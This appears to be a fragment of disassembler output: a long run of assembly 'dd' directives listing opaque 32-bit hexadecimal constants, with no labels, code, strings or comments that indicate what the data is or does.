		dd 0E5935260h, 0DC144428h, 2E0162Fh, 0D5029C79h, 11D2E0D9h
		dd 0E9871F7Dh, 0FDE4C117h, 0E055C97Ch, 25F0FF0Ch, 0D7C14403h
		dd 0D8DB9804h, 0FEF4567h, 8D4D15Ch, 52481400h, 5900D23Fh
		dd 4B25DEAAh, 1D8F0F68h, 80787Ah, 0A6BE2A86h, 2BF42DB2h
		dd 639D8C07h, 8DC08BCDh, 0E8C9F96Bh, 5C8000F4h,	32735FAh
		dd 860773C5h, 0B33DD779h, 96CB9530h, 9E4D01F8h,	34CD810Fh
		dd 9164D02Ch
		dd 4EC4D250h, 4F433Ah, 52ACD19Ah, 0CEE979Ch, 0BD532B28h
		dd 0D57A0F28h, 2B35D06h, 0F8489589h, 0C2820D61h, 0EC109210h
		dd 0B8006FA9h, 0D157126Ch, 0B3056Bh, 0F56CFDEh,	707621BCh
		dd 20402661h, 10C83980h, 0CBD40219h, 4EE77A0Fh,	0A29DF980h
		dd 532EEC81h, 0B300355Fh, 0F78455DAh, 1FD200DBh, 0DD2B4C1Dh
		dd 4903C00Eh, 0C46719A0h, 7EB80FDFh, 132C7F82h,	0D800AFE1h
		dd 0DF41E48Fh, 63989628h, 0B8C30866h, 30CE2000h, 0C49D3E94h
		dd 17771E71h, 0B066C0EBh, 7D900CEFh, 0C44028ADh, 5216B97h
		dd 0E8EB18F9h, 0BE9000A2h, 488A8591h, 0A3C4C4A8h, 95036C90h
		dd 0CDA5B4E5h, 0C30828D6h, 168100B8h, 9F964EBCh, 0EB007707h
		dd 0A92C57CDh, 0AC126Ah, 19264A1Bh, 0B37EEC24h,	643918D9h
		dd 97C32080h, 7ABC1939h, 0AA723E00h, 0B907146Ah, 0B857301Ah
		dd 302AB330h, 39AC6D30h, 0E68671h, 78B1280h, 5D32B49h
		dd 21C360E8h, 0D7C17FECh, 576C6B80h, 3480A1Ah, 3DBCE567h
		dd 5376EE00h, 0C296900Eh, 0B800B37Ah, 9BCE7D91h, 37E6D0h
		dd 26F035C8h, 11688ECh,	7E05DE30h, 3C023Ah, 81A58ABAh
		dd 487309DDh, 747E5103h, 87B54C7Ah, 9615C740h, 0A1720008h
		dd 397BAB75h, 9200A53Dh, 367D1AF5h, 0FA72695h, 2848C94Ah
		dd 21D2DF40h, 0C703F8B8h, 0B5BF84ABh, 0D006D0CCh, 431300F3h
		dd 41792A47h, 9A002788h, 0ECA6876Dh, 3D2B2Fh, 7AC94FC7h
		dd 10CB6AFAh, 355E5807h, 0D3D07124h, 0B2DD5Fh, 5DB1139Ah
		dd 0AC749DBAh, 0F4156501h, 0A5C32950h, 32275D8h, 61CEC8E9h
		dd 0F280B9DDh, 6A00D30Ah, 7C5ACBF0h, 1CD825ABh,	4146EC10h
		dd 2F7075C2h, 0D9609FD4h, 1AA7C640h, 3F219468h,	0B280BBDCh
		dd 0F58CA68Eh, 13F876D7h, 62FB521Fh, 0B1F68180h, 308F67AAh
		dd 0DEC1DA38h, 0E279A050h, 4B03BC75h, 7E9DF7C4h, 0A5B8E0F3h
		dd 2CAA0061h, 0B18CC836h, 7000A677h, 5B30C947h,	61C134Ch
		dd 24F82667h, 0C10EE894h, 0E06AACD8h, 58A5D051h, 0F5B20187h
		dd 0F476DDAEh, 0EDFBE4F0h, 661D8903h, 0E8745CE0h, 79B056ABh
		dd 778B392Fh, 0ED61C03h, 60F8ACB5h, 15018DF6h, 7F07B99Ch
		dd 0A2E866C3h, 1D850FF5h, 51001C35h, 8862E408h,	25A51500h
		dd 6FEED858h, 0B30903D6h, 0E7713028h, 19AB1000h, 37976AAFh
		dd 394D146Dh, 0BC000CDFh, 2E839DFBh, 78645D0h, 0B35379DCh
		dd 2CEB9047h, 607809A1h, 0AAE12E01h, 0E2F1A92Bh, 0FD68D18Eh
		dd 0EBE56D40h, 851601F7h, 280DB774h, 0AEC820C2h, 18DBF524h
		dd 39F6F1C8h, 0B2002EB9h, 941432D3h, 5C0A768Eh,	7B00B94Ah
		dd 502C55BBh, 250028FAh, 0C9A17A6Dh, 0C0D01979h, 2F972210h
		dd 5B00FA0Fh, 0F9053091h, 92F508h, 7779F68Ah, 239FDB50h
		dd 29214232h, 98BC207Dh, 7600B657h, 74B2B98Eh, 513B9495h
		dd 9800809h, 0A30EFBCAh, 0D13817Bh, 0BE00A58Dh,	0DEDF2988h
		dd 0CA2A07FDh, 0C08AC998h, 0E847FEC1h, 771FD100h, 0C4113113h
		dd 6718Bh, 0BEDA3D55h, 0D3274D4Eh, 4B68CB38h, 8D88E0h
		dd 0E495FB3h, 427951FEh, 0BC9EE700h, 21B6A44Fh,	0EB7D0136h
		dd 6A4529BEh, 6CBFDC77h, 0BA727800h, 32FCE520h,	11250088h
		dd 0BECB26C9h, 8B0451EEh, 64A9945Fh, 87C2D580h,	0C8C703CDh
		dd 3357EC30h, 5E13ADA0h, 0DF7BC5FEh, 0B4F69A28h, 41000A90h
		dd 0BF0B6431h, 7E07FDE7h, 0AD4703F7h, 7CCF98DCh, 705F42E0h
		dd 347FCE0Fh, 81BEC0D0h, 1E2AAF51h, 0C03CD4B7h,	0AB3978DEh
		dd 6D0023A7h, 0A4B39A76h, 448289Dh, 0A8407C4Ch,	0B9DF81C1h
		dd 7AAFFC2Ah, 0A3CFB600h, 77AA66B7h, 4AE5004Eh,	41A80402h
		dd 1A7B64BEh, 3AC6AB00h, 320F5808h, 3E5D01D2h, 1FE0F34Bh
		dd 0C48EF8A2h, 116AD700h, 0B3D1BB82h, 0FC1B1607h, 0AE0B00E6h
		dd 4D31D929h, 79CC801Eh, 2A120D24h, 78032813h, 0B051BBE6h
		dd 2075F8h, 2CE15B09h, 48ACC1B2h, 0E2A4742Eh, 8B4CAF00h
		dd 40A125h, 4EA72E81h, 6D911789h, 43E3320Eh, 8566A03Ch
		dd 616C34h, 715AFD45h, 0E3ECF33h, 37F72400h, 45FFC66h
		dd 2B6B008Bh, 0FE873257h, 0D33BBDCFh, 723A8159h, 0A0F99A78h
		dd 12DAC9E4h, 574838h, 0FA65E2D7h, 0E3006F45h, 958A1BF9h
		dd 89212Dh, 22D0AA34h, 31A42F4h, 782ACB00h, 0AC93D2E6h
		dd 0C1510172h, 8F4980A3h, 0A8F88036h, 9B24DA89h, 2EDC008Bh
		dd 0DB4FBEB1h, 0C5F6ECF5h, 88D8FB00h, 0A4C2C712h, 56A53A09h
		dd 94F7EF0Fh, 4C9FB720h, 0D0E0280Bh, 7427B508h,	4E218F32h
		dd 1E5E6D80h, 43482026h, 0F6D401EEh, 0AE54FB8Ch, 34BDC4h
		dd 0A97AFAE9h, 0DCE031B8h, 1A6BF703h, 0E88B413Ah, 47FFF9h
		dd 4CD0584h, 2898D0A1h,	78EC1479h, 0A05E180Eh, 0C924A0C1h
		dd 39FF25D6h, 0C304A2ECh, 0EFC6C5DCh, 77D1C700h, 986770CEh
		dd 817828h, 0D83215Dh, 1DAE1FB7h, 706C0A02h, 0E09E7DF0h
		dd 3065E48h, 0CF366BA2h, 568860D5h, 0D9605A23h,	186967CEh
		dd 2F723F4Fh, 51C27900h, 17133E04h, 0E9153207h,	5240BEFCh
		dd 357D38h, 65B19179h, 184B6855h, 0FCAE8A00h, 0F84FF029h
		dd 0F0FE44Ah, 6F3A4C52h, 0A86D35A6h, 0DDBE3003h, 0F3C0E4B4h
		dd 67980FA2h, 0C4ADA82h, 245200ACh, 0BC94908Fh,	9A1B4C14h
		dd 613600BFh, 3BF3110Ah, 0A2CE07E1h, 62C7B5D8h,	78492B9Fh
		dd 0C8EE30E7h, 39582E00h, 998984A2h, 0F3F100FDh, 62B5C98Bh
		dd 0C8FC57BAh, 0C2F21400h, 9610F6E1h, 3080F949h, 0FE71FD55h
		dd 8C3AE91Ah, 0FFA6387Ah, 0D1A88B00h, 2A8001BDh, 6CECA0ACh
		dd 8698CCh, 0CF60CE64h,	0C021AA0Eh, 1A0708C0h, 7B20F95h
		dd 536EFCD7h, 3BFA32E3h, 77E2C180h, 70037C33h, 0FD9307B6h
		dd 4498A063h, 0ACFB0172h, 10DED628h, 0D02421E1h, 15EE862Bh
		dd 68EE330Eh, 8BE381FBh, 0ED01F7Ah, 0B9AE0056h,	0AF92F009h
		dd 2401C1EAh, 1A22ED46h, 3CE4C779h, 206E00AAh, 4CEFDF7Bh
		dd 77780F8Eh, 12539300h, 9183016Ah, 27FE0661h, 78E22934h
		dd 0BC462B03h, 0C035758Ch, 7ABDDC50h, 743A00A2h, 8A9EE1CFh
		dd 340173FAh, 60A7AE0Eh, 0D2C06C03h, 842E03DFh,	0BBC40D23h
		dd 6B0CE5E0h, 31BDEC00h, 648C065Ah, 0EBA4E82Ah,	3A90F846h
		dd 2B01FE18h, 7EC06BFCh, 89182024h, 945E148h, 0B650F1h
		dd 0DC2684ACh, 28940083h, 0CD6BF842h, 0DA4C5D7Dh, 0A2007260h
		dd 4D86F1D3h, 148C3A15h, 941DCEB5h, 0A15110h, 0D969C014h
		dd 23F1AFh, 7FF59826h, 0F639B70Fh, 0A02B4800h, 8CEFFCFFh
		dd 34B41CEAh, 0BA2940A3h, 487CB55Eh, 4C91D00h, 39F8EE63h
		dd 0EC2B0028h, 0A1ED059Ch, 4407C5FEh, 919558D0h, 0D4C126B0h
		dd 0DFB11807h, 1AD330A7h, 49EACE0Eh, 5C00FF25h,	7161231Bh
		dd 0A430002Eh, 0B3582A08h, 7A2E522Bh, 549E1815h, 372D4680h
		dd 0B069608h, 92C599BAh, 0B6A1B080h, 9000010Dh,	0B3566554h
		dd 39F920h, 1B47AFB4h, 4F3B526Ch, 0FB0DAE2Eh, 2F8E6A07h
		dd 75DEAA00h, 0D063034Dh, 5BB11B2Eh, 0B6D9CFF8h, 543CA32Eh
		dd 0CC41E680h, 3090440Eh, 0D708ABE3h, 0FB0759B4h, 9E3CAC28h
		dd 783A2383h, 0F47830h,	0CE740EB9h, 15E8A716h, 0F89AF600h
		dd 4C91FF95h, 0B4B6189Fh, 7819615Fh, 0E6A8C300h, 0DE73D03Ah
		dd 0F90BAFEh, 0D17009CDh, 0F385E560h, 6318D89Eh, 1321FF7Ch
		dd 0C5A804A0h, 82E40C77h, 90E01C76h, 840F6419h,	20BC8D3Fh
		dd 5F13FDE5h, 2F70062h,	0BA6B8785h, 4198BEB9h, 2C2B1E01h
		dd 5B4ACDB3h, 7B29D740h
		dd 53D2003Fh, 0B476D58Ch, 49002FD1h, 6D63BDB2h,	639E1F4Ah
		dd 1AB690FBh, 0C82E6881h, 0C50269FAh, 0ED33BFD3h, 0E0A6637Ah
		dd 193D45h, 2206904Bh, 0C6E146C4h, 176B700h, 0FF9FF792h
		dd 5C3075FEh, 8D157CF4h, 4D008C6Ch, 0D8220499h,	8819648Ah
		dd 6D08BAD1h, 2725BC40h, 1F04006Ah, 0A2AD5A1Eh,	14C110Eh
		dd 9C4392Dh, 8F5EC6F7h,	637AA08Ch, 0A8F915A8h, 3EDEFA9Ch
		dd 0C4A4C024h, 384880B4h, 507E6EA6h, 0B3F04107h, 72464934h
		dd 73F30021h, 85B0AEADh, 7F00FE55h, 0C284439Bh,	6C4A7A3Ch
		dd 525861D3h, 2201A343h, 0C07F74A6h, 0C02B0C9Ch, 0AD5D8589h
		dd 0AB05975Eh, 4AA655Ch, 0EFAF9800h, 14F1F916h,	90D1B37Ah
		dd 1B430C76h, 8578460Bh, 531FD27Fh, 1A83676Dh, 0E0832E6Bh
		dd 0F13500Ah, 8260C3F3h, 0D0909100h, 8074BFDBh,	0C0F13000h
		dd 5398FCCBh, 0AC32C96h, 866A0157h, 0E8B72152h,	0A01D8147h
		dd 0DF455C33h, 0EE2FFFh, 9DA5EA96h, 1100BEC1h, 0E8FBE154h
		dd 0F16D0Dh, 2BA304FAh,	0F517B895h, 4D451600h, 0D467C56h
		dd 0AB6A0083h, 0F7604902h, 0F600DDFAh, 9CA265Ah, 1C3A10h
		dd 1BB12A2Ch, 0C2CD4FE9h, 44B2EA00h, 0F8D01692h, 0AA4E0066h
		dd 0D6150546h, 6200FA86h, 2C5869EEh, 26836Bh, 301C8103h
		dd 1D3FD064h, 0D9666A26h, 0A8918F00h, 51B441EBh, 0DAD0A607h
		dd 0B1171EEAh, 5F98CF78h, 0B0FAEE01h, 0AE2FD0DBh, 593420C0h
		dd 7CFE67Bh, 0DDBBDFE5h, 903B8794h, 77E38D33h, 0E001B43Fh
		dd 7205DA08h, 5A560019h, 111F7ED3h, 0BA00150Fh,	0F6368660h
		dd 7F23FD9h, 2FEAE923h,	0FA381CBCh, 3B80D500h, 7C1C9522h
		dd 890635Dh, 2000E914h,	2B81AC19h, 0D3384Bh, 801F942Fh
		dd 3EC732FEh, 677AF200h, 0ECE24652h, 0C65C1907h, 183CE8EAh
		dd 3E7B045Ah, 32DB0798h, 623D202Dh, 5370B47Bh, 0F8F9051Dh
		dd 9D7748F0h, 0FCC20173h, 515F8089h, 0E27083E6h, 7EB259Bh
		dd 0B8C0EAF9h, 16CC9027h, 7E03AB86h, 519DC6AAh,	772007B7h
		dd 302554D4h, 7BCD22C2h, 0B1FBCB1Dh, 3F69AF18h,	0B983Eh
		dd 6C3D8C42h, 0AC25C079h, 910A66FEh, 0B88B237Eh, 9A4380BAh
		dd 5EB68C2h, 7A8C7EFFh,	0FC651E20h, 0E97B40EEh,	8BD17553h
		dd 71565103h, 0F8101883h, 29B752h, 35A9FDEBh, 59680CD1h
		dd 0FEB38E00h, 1DF05CB0h, 0A5C11F79h, 0EF1F41F3h, 4081ECC5h
		dd 9B8B8DAEh, 2C3F000h,	0C04B0F76h, 74C800EAh, 0D01062ECh
		dd 8C3D66CAh, 0F2F40693h, 0FE05EFh, 0AAA2D66Ah,	0B3B18B87h
		dd 6FABB800h, 0F9A908CAh, 0E23B1C41h, 9FBBC02Dh, 6822EC60h
		dd 201EA400h, 337BE869h, 21E93B9Bh, 6E289E1Eh, 0A97204A5h
		dd 7871C05Bh, 38C01714h, 0D61D43FDh, 8896011Ah,	6484B3B2h
		dd 6A827065h, 9BB61400h, 0CBD1D473h, 0CE063h, 184AEA66h
		dd 9DC0D041h, 5E69602h,	0E1E3D978h, 70807F0Bh, 4F0BEEA5h
		dd 80065AD6h, 648793E0h, 18DFECA8h, 28959EB9h, 9F000705h
		dd 14BD550Dh, 82985BB5h, 0E8907380h, 32006C96h,	655E9EB1h
		dd 1DA28115h, 0C0FE1CB3h, 0AD943986h, 7F608D61h, 11B1ED39h
		dd 345A0FCEh, 2A0F5BDh,	0AF79BEB8h, 25CD3Dh, 888C9B52h
		dd 71EF61CAh, 9FF30089h, 71B79A2Bh, 3B07D0A2h, 7BFFB1DAh
		dd 340DF9D0h, 0D7BC4CD7h, 0FEFA3860h, 9701EB1Fh, 87CCE2F6h
		dd 0E6DCD8C1h, 456E0082h, 24F4091Eh, 2F28EB98h,	9B7F9014h
		dd 0F2738600h, 2B26D77h, 0B9710EFCh, 0F5E03781h, 36FB0C65h
		dd 70901901h, 4C08F4C9h, 113C1880h, 265312BFh, 7D0D4D00h
		dd 0D5F37A43h, 0F617792h, 730257C6h, 7BA2C0BCh,	0C923D658h
		dd 1B6FB5Ch, 4B68CB2Ah,	398B7C83h, 7D00C30Bh, 0DB1F57C2h
		dd 4ED50F06h, 0F8215A65h, 0A2B72416h, 7206005Dh, 9C9AEA2Ch
		dd 0CC140D00h, 7A4408CFh, 365A3BC3h, 24F31Eh, 1E8367D3h
		dd 62008FCCh, 58D8BD22h, 74EEA93Ah, 403460F5h, 0BE05149Dh
		dd 99093Ah, 0D36A0418h,	4C0ED14Ah, 761C23h, 826D2E15h
		dd 54B63EB3h, 7C0B5E00h, 0ADCD3005h, 0CC480E3Ah, 47A1DEA1h
		dd 0F84F1027h, 0D706FD49h, 0B2830173h, 36130038h, 0E35415FCh
		dd 91D4688h, 8E28893Ch,	6E9C20C0h, 344977h, 2C741232h
		dd 73B7E93Fh, 1DC978C0h, 3DCF968h, 621E4094h, 700075A6h
		dd 0F46B46DBh, 19C639FFh, 18160EA0h, 88B1B770h,	4A305D84h
		dd 19796878h, 5D109143h, 49380ED7h, 25BDE078h, 3BFF383h
		dd 48D17EAEh, 0BB90ABE0h, 8B000379h, 758C00Ah, 4F5D72h
		dd 9039FE45h, 46DD9508h, 0D7FA2700h, 61E730E1h,	47A8D43Fh
		dd 311CD100h, 6439A46Ch, 0DF68C300h, 0B89D1E47h, 0A0761C9Bh
		dd 0D33BC077h, 0E7C9C432h, 0E2FF4500h, 8E4EF062h, 0EE8603DDh
		dd 0FA426561h, 63CA1D98h, 760EE077h, 0C5302705h, 0A0C071AFh
		dd 0F5B13CDh, 861A74F9h, 0AC3FFDE0h, 7D2E3C93h,	0EA001629h
		dd 1AB2C924h, 0EABEE57h, 0E52192F9h, 4D2CD9E0h,	0DF79DB35h
		dd 0C0903100h, 0D6E3FAB6h, 0A7DA01EAh, 5EF5AFACh, 917FE8C3h
		dd 42BB1500h, 0B2CA23ABh, 0B5E80760h, 402AB3A3h, 20F4A79Ch
		dd 8F406C0Fh, 953E40CAh, 0A8FAD4h, 6FC2FBDFh, 0E3457D53h
		dd 81EF0F07h, 0EE6FA12Dh, 8E30E09Dh, 0A74B77h, 0EEA3E795h
		dd 27DD1E6Ah, 0B38D8900h, 0A9099718h, 700E00F5h, 0D549FCAEh
		dd 6A00F623h, 7B289351h, 767120Fh, 0E3B94EABh, 1FEAA015h
		dd 0C800BA45h, 0B1945F8Fh, 7C33DAh, 0D472429Bh,	14DB741Dh
		dd 4FEED06h, 0FEF41EC5h, 8A7B0EFCh, 0D4405F7Fh,	0CB259013h
		dd 24005C75h, 0D81D513Eh, 0CF236h, 8E785E99h, 0C47A9430h
		dd 0F7164Ch, 2275E611h,	3FDAF8BBh, 39809593h, 0A89F66DDh
		dd 1900BAF5h, 63FC9080h, 2EA2E1EAh, 2D516A5Eh, 0ECCA3300h
		dd 6F008A9Ah, 909CE7FAh, 1A1C0A5h, 271BB8Fh, 0E0B6C846h
		dd 2A01E21Ch, 13266B1Bh, 0A5F40E55h, 28B0F1h, 166A9C3Bh
		dd 5FAEF57Fh, 5133FB00h, 6508D7B4h, 0F6F6D9h, 27790AD3h
		dd 7BCB6322h, 0C0A8B305h, 1A805CDFh, 0F7148Ah, 1C192DA9h
		dd 63BF1B2Bh, 5432410Eh, 5D56A076h, 3865F86Bh, 733CD623h
		dd 1043E180h, 601C3DA6h, 95042100h, 80766DB8h, 37C926DFh
		dd 11B500A0h, 0AA4854Ch, 8256C607h, 0F48094C5h,	0A5AE7Ah
		dd 9849D3F5h, 368ED4A4h, 0EBA39E00h, 3A1630D8h,	2F4C00ABh
		dd 0DA0CDDEFh, 0FA000573h, 46F82492h, 0A67636h,	0FBC5B757h
		dd 0FD673107h, 96A4D003h, 0A00CFCF3h, 0FB387F2h, 0D24FB4ADh
		dd 0E8197823h, 9DD403D8h, 43248C07h, 0DF20BE0Eh, 1B357Dh
		dd 0B48E1AC0h, 0A8CA177Bh, 52DDB000h, 0CB94FBB1h, 474C00D9h
		dd 80E92B85h, 2F0A32E1h, 9E130767h, 0D5215B00h,	3C73C106h
		dd 0F0802809h, 0E2813B3Ch, 0D606CB17h, 221080F9h, 41D500B6h
		dd 0C0AE8277h, 670E2DC6h, 0A0CCDC3Eh, 0EAD2262Ch, 0A410182Bh
		dd 0C6C3525Dh, 14006FECh, 3059B280h, 38C4317Ch,	63BB9232h
		dd 0E646580h, 1AD9F6EBh, 6256C000h, 0C82D90F3h,	490B0094h
		dd 0A3407769h, 0D50046FDh, 0AFC1BBAh, 73A2384h,	0BCDE654Dh
		dd 56A9C003h, 930059D8h, 46B91BE5h, 1AFF52h, 0C215055Fh
		dd 42EEF5C4h, 11002E7Bh, 6430B8F6h, 74F98F1h, 0DC1AF840h
		dd 806F2470h, 13B03F48h, 0C1A5CB01h, 11C65F8Bh,	0C3E3B442h
		dd 0BB74E07Bh, 0D3AA00A1h, 603ABC8h, 54005DCCh,	91EE5A31h
		dd 0E94310h, 932B141Dh,	53F9BD37h, 0F148A600h, 6636A59Ch
		dd 0B0D900EEh, 0A1A72CA4h
		dd 1F3D24BBh, 57B903D7h, 0E1E25C0Eh, 25FC7687h,	55A9004Fh
		dd 0C4891E0Fh, 5300A381h, 83208CFDh, 49540Ah, 13A5CD0Ch
		dd 0A22A8527h, 513CF400h, 3774B74h, 1C8438E4h, 72A93780h
		dd 95EED2FAh, 10DAA800h, 3DFF9271h, 6D4300A1h, 0FE01BDDBh
		dd 0CD03E63Ah, 0FB6208B4h, 65E8B820h, 0ED7C0087h, 0A2674BA7h
		dd 0F1009794h, 5E3B7D4Ah, 896EEh, 58840F18h, 28F2656Fh
		dd 1C83D900h, 4BFD8EC2h, 2F30F5Bh, 3C00C7BEh, 0FFA7935Ah
		dd 0A9000EFAh, 73D4E0F0h, 0E6A992Fh, 0A3CFBB49h, 190E956Fh
		dd 631AAE60h, 880053B4h, 61E27BF6h, 0F1FB9Eh, 0B5BCF8A4h
		dd 3E2B4CDEh, 93B4C60Eh, 9F6703D2h, 4D1BB8FCh, 0E6BDE46Bh
		dd 82E0120Fh, 0F12C006Ah, 0AA4F7A78h, 0A414E12h, 0BD61B04h
		dd 0FEB7E180h, 3C2800D3h, 4E1BD09Eh, 8C1D7836h,	0DA404A53h
		dd 924CCFC9h, 8B2900E4h, 84083FBCh, 1B70A6D7h, 0A04D6500h
		dd 0ADC409D0h, 4F9B3CABh, 81C33A00h, 5F85CF76h,	514A2303h
		dd 0D027C2E2h, 0DAA411h, 641EF4F1h, 71F838A5h, 5907E700h
		dd 7547194Ah, 0CD6300DDh, 685ABB86h, 370092D0h,	6169C83Ch
		dd 9787CAh, 96C9A832h, 6F169C6Eh, 8036453Dh, 3FCC627Ah
		dd 0CD2928h, 2010494h, 0C3E241F6h, 0B700BD73h, 6C8378D8h
		dd 8FA068h, 0B8C8EA8Eh,	0A17FF80Bh, 70821300h, 3BE28479h
		dd 0CD35001Ch, 776F244Ch, 10005BE5h, 0D42FD932h, 0EDF7414h
		dd 5CDB4161h, 17C40C0h,	8E01EACAh, 3FA8A9E6h, 90E3D9C6h
		dd 50F5194Bh, 0F7DF611h, 248D3CADh, 65D3E4A0h, 7700AA95h
		dd 872A8127h, 0F39C1Ch,	9BF71F8Bh, 4D6EA840h, 0DE92F000h
		dd 0D2C6252Ah, 0FCC013Dh, 0FB898F4Ah, 0AE72CC9Ch, 80BF8638h
		dd 0CD976FA7h, 98188110h, 0AC120364h, 2D6C0389h, 5CA80C8Bh
		dd 0B600DF83h, 3E4E5DEFh, 0A8CBF6h, 187BE028h, 0B41EAB33h
		dd 0B085E301h, 48E837CFh, 0A13E0F2h, 0BCAF5040h, 7FFE41h
		dd 49112CC1h, 0E285CF5h, 0F0078978h, 7A3020CBh,	0C8E05040h
		dd 13927C99h, 0F3BD276h, 0B7C05Fh, 770E39E0h, 681C7EDEh
		dd 35C096FFh, 87C0364Ch, 3F4E0183h, 5C317781h, 938CE48Eh
		dd 0B3F88090h, 543FD8A6h, 0A42980D3h, 0E4D9AE4Dh, 0EB7A5Ch
		dd 3CEEFEA9h, 27565BA2h, 8BC41200h, 480711A6h, 0F7E07Bh
		dd 17B3B160h, 70056319h, 0A30ED00h, 2044D95Fh, 709260E0h
		dd 370CCC2Dh, 0EF841100h, 0D45512C5h, 0D7523DBEh, 28D0B518h
		dd 846F6D36h, 1A930030h, 74701BDAh, 7EA0031Eh, 8B7C3617h
		dd 24D72103h, 0F1936369h, 0A1F35F11h, 8AFC4F06h, 0D65A006Bh
		dd 24D3897Ch, 3F0FFA66h, 20BBE531h, 30903651h, 0FF2B3FBCh
		dd 0A5A16E80h, 463C1A15h, 6BFA1800h, 0DD71E2E3h, 6170099h
		dd 7016226Ch, 0C2001238h, 72886A62h, 0F79CEh, 0AAD0785Fh
		dd 0D96673DEh, 0E02B19CFh, 0EBC83EB3h, 65F300B7h, 4DCB466Ch
		dd 6F3054A9h, 2029F0B4h, 6303E9DEh, 3F00C88Eh, 67967346h
		dd 398E614h, 72629E7Fh,	0A288B4C2h, 0C460B991h,	1F25F58Ch
		dd 1AE6E9h, 0D5DADFEh, 9CFCED1Ch, 0DDDB8600h, 9052F508h
		dd 64ECAEh, 57094EBh, 48309E26h, 80689100h, 5DE1DBE5h
		dd 0AC170F13h, 0C0DE6C39h, 5BCA8D41h, 7C1ECCF6h, 9C66E26Ah
		dd 9CB2D080h, 4870083Ch, 0B10EB35Eh, 0FE8CDAAFh, 0D47FF021h
		dd 6E60647Fh, 0C3E8C0E9h, 0F7570335h, 44339389h, 0D2037EE8h
		dd 0C4BB8D00h, 4E2126C7h, 88CF5070h, 3A1D00D5h,	0AF98BECAh
		dd 6B62356Ah, 4026A308h, 1C1300h, 0A83F833Ah, 0E3DE2F60h
		dd 0D404F800h, 0B474D8FBh, 0B12A0065h, 33319FDBh, 0BD0A13DEh
		dd 0B8D3D4AEh, 8C06EA9Dh, 11CC1Eh, 0AF69AA70h, 398A4B5Fh
		dd 840AD32h, 90984949h,	93769CCh, 3A2ADF66h, 0F5605820h
		dd 0C51FA867h, 0D68CCEC7h, 381D05Dh, 71381265h,	55E831A4h
		dd 0C64959C7h, 0CD5C0374h, 0E847A939h, 66251D12h, 0A19D08F5h
		dd 3905AB01h, 6A170156h, 0B322B1EFh, 4E6C8980h,	0BBF45E69h
		dd 714F3A00h, 4D42C40Dh, 0ED80A0EAh, 4AC70792h,	808D0109h
		dd 0D95CD38Ah, 0AB941C01h, 84BFD8CFh, 1056560h,	1EE8A3B8h
		dd 0C4F33EB9h, 18009C58h, 99322960h, 141CC9h, 79E9FA56h
		dd 6873F244h, 0EA6E7800h, 0B438E5A9h, 0BAB3004Bh, 0B6A29766h
		dd 0E300CA55h, 0D323FAEEh, 0B032AEh, 0F68F8A21h, 64B7F098h
		dd 87A6DA07h, 2F835990h, 0BF16F128h, 617098F1h,	0F123007Dh
		dd 0FF9777EDh, 4600C82Fh, 881465C4h, 3AF7331Ch,	85030810h
		dd 432FFEE6h, 0FD49CDD0h, 6BE7FC00h, 71B4DC92h,	0EA1C0679h
		dd 58A0C8B3h, 30F81F30h, 0A474237Eh, 8CDF030h, 0E34014C2h
		dd 42409F64h, 0DD80CC28h, 0CDA92D00h, 0C29924E3h, 0AA100029h
		dd 0E2C903EEh, 9861FD77h, 7A1D2850h, 4FB7C8h, 18E8819Ah
		dd 6C3340ABh, 0FD73CA78h, 8D49FE0Ch, 2860C0h, 6B44B9AFh
		dd 985DBF18h, 8845531h,	2080FB7Dh, 0FD44F199h, 0D10330DDh
		dd 0C4C6E003h, 5070003Ch, 0A6B46260h, 3F0127B8h, 0CD09CCDCh
		dd 20D4721Bh, 60FDE08Ch, 336A0E6h, 0D1181335h, 94898023h
		dd 0BE02868Fh, 500F4C44h, 0FC0C1859h, 1167C80h,	0ECC5F444h
		dd 0E45C271Dh, 2C00EE82h, 0F7C7654Fh, 0A05455EDh, 0D646F4h
		dd 0D8A34AD9h, 8921B55Fh, 0FE9E0F1Dh, 1023CC80h, 0B7DF4Fh
		dd 0C9D3E60Bh, 7DBDDD24h, 0B6991100h, 815266EEh, 0FE603C84h
		dd 0DA880F00h, 5B79BE86h, 0DEA7CD00h, 6BC4C99Ah, 4A4007Fh
		dd 6D2392D7h, 0F20047ABh, 63DA4336h, 3DDF84h, 8FE0F9A5h
		dd 0C0010632h, 0C7BC0301h, 8C4EC95Dh, 1F4C21F8h, 80CD4230h
		dd 64B11E6Eh, 0A500488Ah, 149D8CFAh, 86FE3Fh, 0D8C42476h
		dd 3DA9E328h, 0B06DD400h, 71F99F52h, 887D007Fh,	0CEAD32F5h
		dd 821891BAh, 0C6A06A28h, 0D0B800EAh, 0DD4D63D8h, 0E006457h
		dd 7A3C8AA9h, 67C2C4h, 0B274136Bh, 0BC34D938h, 782AD200h
		dd 60F40712h, 99C9C0DEh, 98DB2649h, 0A701D00h, 438CCF24h
		dd 0C9E80E5Fh, 0B080E9F9h, 842853F0h, 0A580E4E1h, 0C644AB05h
		dd 984EA74Ah, 9F70EE61h, 60CED7CEh, 0D1E08E16h,	0DBC8C0FDh
		dd 2BC2F6A0h, 0B5007BFAh, 490EEE8Fh, 7FDE8E0Ah,	536137F2h
		dd 9F18C041h, 3100861Dh, 72104C97h, 58D7F430h, 8100A86Ch
		dd 707D56F5h, 61C0D3B7h, 4D8D6517h, 0D577009Bh,	0EE750B5Ch
		dd 5B0082B5h, 6139A63Fh, 65AED8h, 9F249AE5h, 7CA50D83h
		dd 2EB80B07h, 0DE61A06Fh, 60F8B16Ah, 7E37005Eh,	0DC462A29h
		dd 0DD003C7Ah, 6448A55Bh, 1D248E81h, 0F9BC0h, 8017C602h
		dd 6B05A9CAh, 2981E55Eh, 9C629E07h, 0D8748BB7h,	0B89B66C0h
		dd 0E4818E4h, 464F2865h, 0F60E92E4h, 605628AAh,	1F95AC4h
		dd 0E5EE0061h, 5EB85398h, 30C73887h, 0FC80519Ah, 91C547h
		dd 0B0FFC05Ah, 302C90CEh, 3F54A400h, 833799C6h,	0C4EC60h
		dd 15FBCA06h, 41971776h, 39001DECh, 0EF2205CCh,	128DED0Fh
		dd 834070h, 14081C4Bh, 71001F62h, 0AB4E962Ah, 0E1AE8F0Ch
		dd 16B40DFCh, 6B84DAh, 25AA5E50h, 7CE899E2h, 7AF096C0h
		dd 39E38016h, 4A0094D8h, 0A0560771h, 0D900FD37h, 6E6BB659h
		dd 0C0574817h, 0F398D5D0h, 0CF006196h, 2C99D180h, 0A33919h
		dd 9F6814E0h, 0B2F54952h, 13ED1200h, 913BA29Ch,	0FAA37457h
		dd 517369h, 811207B3h, 27BFA01Ch, 0B601E87Dh, 90B113C3h
